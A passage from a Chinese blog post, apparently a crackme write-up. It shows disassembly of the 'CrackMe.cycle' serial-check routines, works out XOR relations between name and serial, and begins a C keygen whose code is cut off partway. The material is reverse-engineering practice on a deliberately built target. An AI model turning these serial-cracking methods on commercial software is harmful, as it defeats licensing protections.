<span class="err">0040123</span><span class="nf">F</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">C0EE</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">DH</span><span class="p">,</span><span class="mi">7</span>
<span class="err">00401242</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">66:</span><span class="nf">D1EA</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">DX</span><span class="p">,</span><span class="mi">1</span>
<span class="err">00401245</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">8</span><span class="nf">BF2</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">EDX</span>
<span class="err">00401247</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">8</span><span class="nf">BD7</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="no">EDI</span>
<span class="err">00401249</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">C0EE</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">DH</span><span class="p">,</span><span class="mi">7</span>
<span class="err">0040124</span><span class="nf">C</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">66</span><span class="p">:</span><span class="no">C1E2</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="err">|</span><span class="no">SHL</span><span class="w"> </span><span class="no">DX</span><span class="p">,</span><span class="mi">7</span>
<span class="err">00401250</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">C1EA</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="mi">8</span>
<span class="err">00401253</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">C0EE</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">DH</span><span class="p">,</span><span class="mi">7</span>
<span class="err">00401256</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">66:</span><span class="nf">C1E2</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="err">|</span><span class="no">SHL</span><span class="w"> </span><span class="no">DX</span><span class="p">,</span><span class="mi">7</span>
<span class="err">0040125</span><span class="nf">A</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">C1EA</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="mi">8</span>
<span class="err">0040125</span><span class="nf">D</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">C0EE</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">DH</span><span class="p">,</span><span class="mi">7</span>
<span class="err">00401260</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">66:</span><span class="nf">C1EA</span><span class="w"> </span><span class="mi">05</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">DX</span><span class="p">,</span><span class="mi">5</span>
<span class="err">00401264</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">8</span><span class="nf">BFA</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">EDX</span>
<span class="err">00401266</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">33</span><span class="nf">FE</span><span class="w"> </span><span class="err">|</span><span class="no">XOR</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">ESI</span>
<span class="err">00401268</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">8</span><span class="nf">BD7</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="no">EDI</span>
<span class="err">0040126</span><span class="nf">A</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">81</span><span class="no">E2</span><span class="w"> </span><span class="no">FF000000</span><span class="w"> </span><span class="err">|</span><span class="no">AND</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="mi">0</span><span class="no">FF</span>
<span class="err">00401270</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">51</span><span class="w"> </span><span class="err">|</span><span class="nf">PUSH</span><span class="w"> </span><span class="no">ECX</span>
<span class="err">00401271</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">52</span><span class="w"> </span><span class="err">|</span><span class="nf">PUSH</span><span class="w"> </span><span class="no">EDX</span>
<span class="err">00401272</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">BA</span><span class="w"> </span><span class="mi">08000000</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="mi">8</span>
<span class="err">00401277</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">91</span><span class="w"> </span><span class="err">|</span><span class="nf">XCHG</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">ECX</span>
<span class="err">00401278</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">83</span><span class="nf">F8</span><span class="w"> </span><span class="mi">03</span><span class="w"> </span><span class="err">|</span><span class="no">CMP</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="mi">3</span>
<span class="err">0040127</span><span class="nf">B</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">7</span><span class="no">F</span><span class="w"> </span><span class="mi">0</span><span class="no">F</span><span class="w"> </span><span class="err">|</span><span class="no">JG</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.0040128C</span>
<span class="err">0040127</span><span class="nf">D</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">F6E2</span><span class="w"> </span><span class="err">|</span><span class="no">MUL</span><span class="w"> </span><span class="no">DL</span>
<span class="err">0040127</span><span class="nf">F</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">5</span><span class="no">A</span><span class="w"> </span><span class="err">|</span><span class="no">POP</span><span class="w"> </span><span class="no">EDX</span>
<span class="err">00401280</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">83</span><span class="nf">C0</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="err">|</span><span class="no">ADD</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="mi">8</span>
<span class="err">00401283</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">91</span><span class="w"> </span><span class="err">|</span><span class="nf">XCHG</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">ECX</span>
<span class="err">00401284</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">D3C0</span><span class="w"> </span><span class="err">|</span><span class="no">ROL</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">CL</span>
<span class="err">00401286</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">33</span><span class="nf">C2</span><span class="w"> </span><span class="err">|</span><span class="no">XOR</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">EDX</span>
<span class="err">00401288</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">D3C8</span><span class="w"> </span><span class="err">|</span><span class="no">ROR</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">CL</span>
<span class="err">0040128</span><span class="nf">A</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">EB</span><span class="w"> </span><span class="mi">0</span><span class="no">D</span><span class="w"> </span><span class="err">|</span><span class="no">JMP</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.00401299</span>
<span class="err">0040128</span><span class="nf">C</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">83</span><span class="no">E8</span><span class="w"> </span><span class="mi">03</span><span class="w"> </span><span class="err">|</span><span class="no">SUB</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="mi">3</span>
<span class="err">0040128</span><span class="nf">F</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">F6E2</span><span class="w"> </span><span class="err">|</span><span class="no">MUL</span><span class="w"> </span><span class="no">DL</span>
<span class="err">00401291</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">5</span><span class="nf">A</span><span class="w"> </span><span class="err">|</span><span class="no">POP</span><span class="w"> </span><span class="no">EDX</span>
<span class="err">00401292</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">91</span><span class="w"> </span><span class="err">|</span><span class="nf">XCHG</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">ECX</span>
<span class="err">00401293</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">D3C3</span><span class="w"> </span><span class="err">|</span><span class="no">ROL</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="no">CL</span>
<span class="err">00401295</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">33</span><span class="nf">DA</span><span class="w"> </span><span class="err">|</span><span class="no">XOR</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="no">EDX</span>
<span class="err">00401297</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">D3CB</span><span class="w"> </span><span class="err">|</span><span class="no">ROR</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="no">CL</span>
<span class="err">00401299</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="err">59</span><span class="w"> </span><span class="err">|</span><span class="nf">POP</span><span class="w"> </span><span class="no">ECX</span>
<span class="err">0040129</span><span class="nf">A</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">41</span><span class="w"> </span><span class="err">|</span><span class="no">INC</span><span class="w"> </span><span class="no">ECX</span>
<span class="err">0040129</span><span class="nf">B</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">83</span><span class="no">F9</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="err">|</span><span class="no">CMP</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">8</span>
<span class="err">0040129</span><span class="nf">E</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="err">^</span><span class="mi">0</span><span class="no">F85</span><span class="w"> </span><span class="mi">71</span><span class="no">FFFFFF</span><span class="w"> </span><span class="err">\</span><span class="no">JNZ</span><span class="w"> </span><span class="no">cycle.00401215</span>
<span class="err">004012</span><span class="nf">A4</span><span class="w"> </span><span class="err">\</span><span class="p">.</span><span class="w"> </span><span class="no">C3</span><span class="w"> </span><span class="no">RETN</span>
</code></pre></div>
<p>cycle.00401190</p>
<div class="highlight"><pre><span></span><code><span class="err">00401190</span><span class="w"> </span><span class="err">/</span><span class="nf">$</span><span class="w"> </span><span class="mi">5</span><span class="no">F</span><span class="w"> </span><span class="no">POP</span><span class="w"> </span><span class="no">EDI</span>
<span class="err">00401191</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">59</span><span class="w"> </span><span class="nf">POP</span><span class="w"> </span><span class="no">ECX</span>
<span class="err">00401192</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">57</span><span class="w"> </span><span class="nf">PUSH</span><span class="w"> </span><span class="no">EDI</span>
<span class="err">00401193</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">81</span><span class="nf">F9</span><span class="w"> </span><span class="mi">80000000</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">80</span>
<span class="err">00401199</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">7</span><span class="nf">E</span><span class="w"> </span><span class="mi">55</span><span class="w"> </span><span class="no">JLE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.004011F0</span>
<span class="err">0040119</span><span class="nf">B</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">51</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">ECX</span>
<span class="err">0040119</span><span class="nf">C</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">BF1</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">ECX</span>
<span class="err">0040119</span><span class="nf">E</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">81</span><span class="no">E1</span><span class="w"> </span><span class="no">FF000000</span><span class="w"> </span><span class="no">AND</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">0</span><span class="no">FF</span>
<span class="err">004011</span><span class="nf">A4</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">BF8</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">004011</span><span class="nf">A6</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">83</span><span class="no">F9</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">8</span>
<span class="err">004011</span><span class="nf">A9</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">7</span><span class="no">E</span><span class="w"> </span><span class="mi">05</span><span class="w"> </span><span class="no">JLE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.004011B0</span>
<span class="err">004011</span><span class="nf">AB</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">BFB</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">EBX</span>
<span class="err">004011</span><span class="nf">AD</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">C1E9</span><span class="w"> </span><span class="mi">04</span><span class="w"> </span><span class="no">SHR</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">4</span>
<span class="err">004011</span><span class="nf">B0</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="no">C1C7</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="err">/</span><span class="no">ROL</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="mi">8</span>
<span class="err">004011</span><span class="nf">B3</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">D1E9</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">1</span>
<span class="err">004011</span><span class="nf">B5</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="err">^</span><span class="mi">75</span><span class="w"> </span><span class="no">F9</span><span class="w"> </span><span class="err">\</span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.004011B0</span>
<span class="err">004011</span><span class="nf">B7</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">C1EE</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="no">SHR</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="mi">8</span>
<span class="err">004011</span><span class="nf">BA</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">23</span><span class="no">FE</span><span class="w"> </span><span class="no">AND</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">ESI</span>
<span class="err">004011</span><span class="nf">BC</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">81</span><span class="no">E7</span><span class="w"> </span><span class="no">FF000000</span><span class="w"> </span><span class="no">AND</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="mi">0</span><span class="no">FF</span>
<span class="err">004011</span><span class="nf">C2</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">59</span><span class="w"> </span><span class="no">POP</span><span class="w"> </span><span class="no">ECX</span>
<span class="err">004011</span><span class="nf">C3</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="no">BE</span><span class="w"> </span><span class="mi">80000000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="mi">80</span>
<span class="err">004011</span><span class="nf">C8</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">85</span><span class="no">FE</span><span class="w"> </span><span class="err">/</span><span class="no">TEST</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">EDI</span>
<span class="err">004011</span><span class="nf">CA</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="err">|</span><span class="no">JE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.004011EC</span>
<span class="err">004011</span><span class="nf">CC</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">33</span><span class="no">FE</span><span class="w"> </span><span class="err">|</span><span class="no">XOR</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">ESI</span>
<span class="err">004011</span><span class="nf">CE</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">57</span><span class="w"> </span><span class="err">|</span><span class="no">PUSH</span><span class="w"> </span><span class="no">EDI</span>
<span class="err">004011</span><span class="nf">CF</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">81</span><span class="no">E1</span><span class="w"> </span><span class="mi">00</span><span class="no">FF0000</span><span class="w"> </span><span class="err">|</span><span class="no">AND</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">0</span><span class="no">FF00</span>
<span class="err">004011</span><span class="nf">D5</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">87</span><span class="no">CE</span><span class="w"> </span><span class="err">|</span><span class="no">XCHG</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">ECX</span>
<span class="err">004011</span><span class="nf">D7</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">32</span><span class="no">E9</span><span class="w"> </span><span class="err">|</span><span class="no">XOR</span><span class="w"> </span><span class="no">CH</span><span class="p">,</span><span class="no">CL</span>
<span class="err">004011</span><span class="nf">D9</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">33</span><span class="no">F1</span><span class="w"> </span><span class="err">|</span><span class="no">XOR</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">ECX</span>
<span class="err">004011</span><span class="nf">DB</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">87</span><span class="no">F1</span><span class="w"> </span><span class="err">|</span><span class="no">XCHG</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">ESI</span>
<span class="err">004011</span><span class="nf">DD</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">51</span><span class="w"> </span><span class="err">|</span><span class="no">PUSH</span><span class="w"> </span><span class="no">ECX</span>
<span class="err">004011</span><span class="nf">DE</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">FF05</span><span class="w"> </span><span class="mi">82214000</span><span class="w"> </span><span class="err">|</span><span class="no">INC</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">402182</span><span class="p">]</span>
<span class="err">004011</span><span class="nf">E4</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">E8</span><span class="w"> </span><span class="no">A7FFFFFF</span><span class="w"> </span><span class="err">|</span><span class="no">CALL</span><span class="w"> </span><span class="no">cycle.00401190</span>
<span class="err">004011</span><span class="nf">E9</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">5</span><span class="no">F</span><span class="w"> </span><span class="err">|</span><span class="no">POP</span><span class="w"> </span><span class="no">EDI</span>
<span class="err">004011</span><span class="nf">EA</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="err">^</span><span class="no">EB</span><span class="w"> </span><span class="no">D7</span><span class="w"> </span><span class="err">|</span><span class="no">JMP</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.004011C3</span>
<span class="err">004011</span><span class="nf">EC</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="no">D1EE</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="mi">1</span>
<span class="err">004011</span><span class="nf">EE</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="err">^</span><span class="mi">75</span><span class="w"> </span><span class="no">D8</span><span class="w"> </span><span class="err">\</span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.004011C8</span>
<span class="err">004011</span><span class="nf">F0</span><span class="w"> </span><span class="err">\></span><span class="w"> </span><span class="no">C3</span><span class="w"> </span><span class="no">RETN</span>
</code></pre></div>
<p>指令都认识,但是这两个函数具体做了什么,我是不知道的,肯定是某种算法,但是变成机器码之后,几乎面目全非,根本无法辨识</p>
<p>我也是盯着这两段代码看了好久,什么思路都没有,最后就干脆用C语言把这个代码逻辑给实现了</p>
<p><a href="https://144.one/s/u14s4">https://144.one/s/u14s4</a></p>
<p>在这段代码中,我固定了用户名的前8位以及序列号的前4位,然后爆破序列号的4~7位</p>
<p>根据代码逻辑,EBX的初始化过程如下:</p>
<div class="highlight"><pre><span></span><code>ebx = name[4-7] ^ serial[4-7] & 0x07030100
</code></pre></div>
<p>由于很多bit位都在与操作中被丢弃了,所以<code>serial[4-7]</code>并没有太多可能的值</p>
<p>但是我的这个代码并没有得到合法的Name和Serial,不过我发现了一些规律</p>
<p>在第一个函数<code>cycle.004011f1</code>运行完毕之后,EAX的值从未变过,EBX的值呈现周期性循环,循环周期为4</p>
<p>经过第二个函数<code>cycle.00401190</code>的运算之后,ecx的值总是同一个</p>
<p>后来我就突发奇想,如果我们控制EAX的值,使对应掩码<code>0x7F3F1F0F</code>所有的保留位全部为1,会发生什么?于是得出如下关系式</p>
<div class="highlight"><pre><span></span><code><span class="nf">name</span><span class="p">[</span><span class="mi">0-3</span><span class="p">]</span><span class="w"> </span><span class="err">^</span><span class="w"> </span><span class="no">serial</span><span class="p">[</span><span class="mi">0-3</span><span class="p">]</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="mi">0x7F3F1F0F</span>
<span class="nf">serial</span><span class="p">[</span><span class="mi">0-3</span><span class="p">]</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="no">name</span><span class="p">[</span><span class="mi">0-3</span><span class="p">]</span><span class="w"> </span><span class="err">^</span><span class="w"> </span><span class="mi">0x7F3F1F0F</span>
</code></pre></div>
<p>上面表达式中的<code>0x7F3F1F0F</code>可以有多个值,只要每个字节的高4bit的值<code>x</code>分别满足<code>0<= x <1</code>、<code>0<= x <2</code>、<code>0<= x <4</code>、<code>0<= x <8</code>即可,具体逻辑可以看代码</p>
<p>但是这样会限制<code>serial[3]</code>的值不能超过<code>0x50</code>,后来放松了第一个字节的限制,使其满足<code>0<= x <2</code>,发现这样也能生成有效的序列号,</p>
<p>然后我就随便找了一组,<code>**JE</code>、<code>UUUJ</code></p>
<p>结果发现,居然找出了满足<code>ecx=1</code>的<code>serial[4-7]</code></p>
<p>虽然我不知道这究竟是为什么,但事实就是只要我们满足上面那个表达式,那么经过最多64次尝试,就能找到一组合法的用户名和序列号</p>
<p>在通过<code>ecx==1</code>的检测之后,还有一个检测,但是就比较简单了,具体分析请查看下面的注册机源代码</p>
<p>注册机运行效果:</p>
<p><img alt="image-20220513115712303" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/IBKbXackxf.jpg"></p>
<p>下面是注册机代码,仍然使用<a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dnb%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z">codeblocks</a>编译,你可以取消<code>____DEBUG</code>宏的注释以观察程序运行过程中各变量的变化:</p>
<div class="highlight"><pre><span></span><code><span class="c1">// Author: 12138</span>
<span class="c1">// URL: http://144.34.164.217</span>
<span class="c1">// https://144.one</span>
<span class="c1">// Date: 2022/05/12 04:00 AM</span>
<span class="c1">// Desc: CrackMe.cycle serial generator</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><windows.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><string.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><time.h></span>
<span class="c1">// #define ____DEBUG</span>
<span class="cp">#ifdef ____DEBUG</span>
<span class="cp">#define FUCK(_format, _var) printf(_format, _var);</span>
<span class="cp">#define CUM(_str) printf(_str);</span>
<span class="cp">#else</span>
<span class="cp">#define FUCK(_format, _var);</span>
<span class="cp">#define CUM(_str);</span>
<span class="cp">#endif</span>
<span class="k">typedef</span><span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">_ui</span><span class="p">;</span>
<span class="c1">// 这个计数器应该是一个全局变量</span>
<span class="n">_ui</span><span class="w"> </span><span class="n">_TODO_counter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0xFEDCBA98</span><span class="p">;</span>
<span class="kt">char</span><span class="w"> </span><span class="nf">generate_random</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="n">lower</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">upper</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">(</span><span class="n">rand</span><span class="p">()</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="p">(</span><span class="n">upper</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">lower</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">))</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">lower</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">_ui</span><span class="w"> </span><span class="nf">string_to_hex</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">_string</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">_begin</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_24_31</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_16_23</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_8_15</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_0_7</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_24_31</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="n">_string</span><span class="p">[</span><span class="n">_begin</span><span class="p">]);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_16_23</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="n">_string</span><span class="p">[</span><span class="n">_begin</span><span class="o">+</span><span class="mi">1</span><span class="p">]);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_8_15</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="n">_string</span><span class="p">[</span><span class="n">_begin</span><span class="o">+</span><span class="mi">2</span><span class="p">]);</span>
